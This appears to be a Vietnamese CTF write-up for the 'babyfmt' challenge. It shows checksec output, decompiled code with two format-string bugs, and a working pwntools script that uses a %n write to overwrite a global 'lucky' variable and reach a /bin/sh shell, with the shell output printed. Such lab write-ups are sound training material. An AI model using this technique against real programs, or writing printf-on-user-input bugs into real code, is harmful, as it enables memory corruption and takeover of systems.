BABYFMT

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/babyfmt$ checksec fmt1
[*] '/home/huynq/Documents/exploit-train/exploit/babyfmt/fmt1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

Decompile: main - (fmt1)

```
1
2  undefined8 main(EVP_PKEY_CTX *param_1)
3
4  {
5    time_t tVar1;
6    time_t local_a8 [2];
7    char local_98 [64];
8    char local_58 [72];
9    int local_10;
10   int local_c;
11
12   init(param_1);
13   local_c = open("/dev/urandom",0);
14   if (local_c < 0) {
15     puts("Something went wrong");
16                     /* WARNING: Subroutine does not return */
17     exit(1);
18   }
19   read(local_c,local_a8,4);
20   tVar1 = time(local_a8);
21   srand((uint)tVar1);
22   lucky = rand();
23   puts("Viettel Challenge\n");
24   printf("Give me your name: ");
25   read(0,local_58,0x3c);
26   printf("Hi guy,");
27   printf(local_58);
28   puts("\nCan you guess the lucky number?");
29   printf("Your input: ");
30   read(0,local_98,0x3c);
31   printf("Your lucky is here: ");
32   printf(local_98);
33   local_10 = atoi(local_98);
34   if (lucky == local_10) {
35     puts("You are lucky man!");
36     flag();
37     return 0;
38   }
39   puts("Good luck :D");
40                     /* WARNING: Subroutine does not return */
41   exit(0);
42 }
```

Có lỗi format string ở dòng 27 và 32.

Có one_gadget ở hàm flag()

```
2  void flag(void)
3
4  {
5    system("/bin/sh");
6    return;
7  }
8
```

Ta sẽ ghi đè giá trị của biến lucky ở vuln đầu tiên, sau đó nhập giá trị tương ứng ở lần read thứ hai để thỏa mãn lucky == local_10

```python
from pwn import *

LUCKY = 0x6010cc

p = process('./fmt1')

payload = b"A%17$n"
payload += b"X" * 2
payload += p64(LUCKY)
# payload = fmtstr_payload(17, {LUCKY : 1})
print(payload)
p.sendline(payload)
print(p.recv())
p.sendline(b"1")
print(p.interactive())
```

Mở shell thành công

```
huynq@huynq-uet-crys:~/Documents/exploit-train/exploit/babyfmt$ python3 sol.py
[+] Starting local process './fmt1': pid 7568
b'A%17$nXX\xcc\x10`\x00\x00\x00\x00\x00'
b'Viettel Challenge\n\nGive me your name: Hi guy,AXX\xcc\x10`\nCan you guess the lucky number?\nYour input: '
[*] Switching to interactive mode
Your lucky is here: 1
You are lucky man!
$ ls
Capture.PNG  peda-session-fmt1.txt        sol.txt  testsol.py
fmt1         peda-session-vuln_disable_all.txt    test     vuln_disable_all
libc.so.6    sol.py                test.c
$
```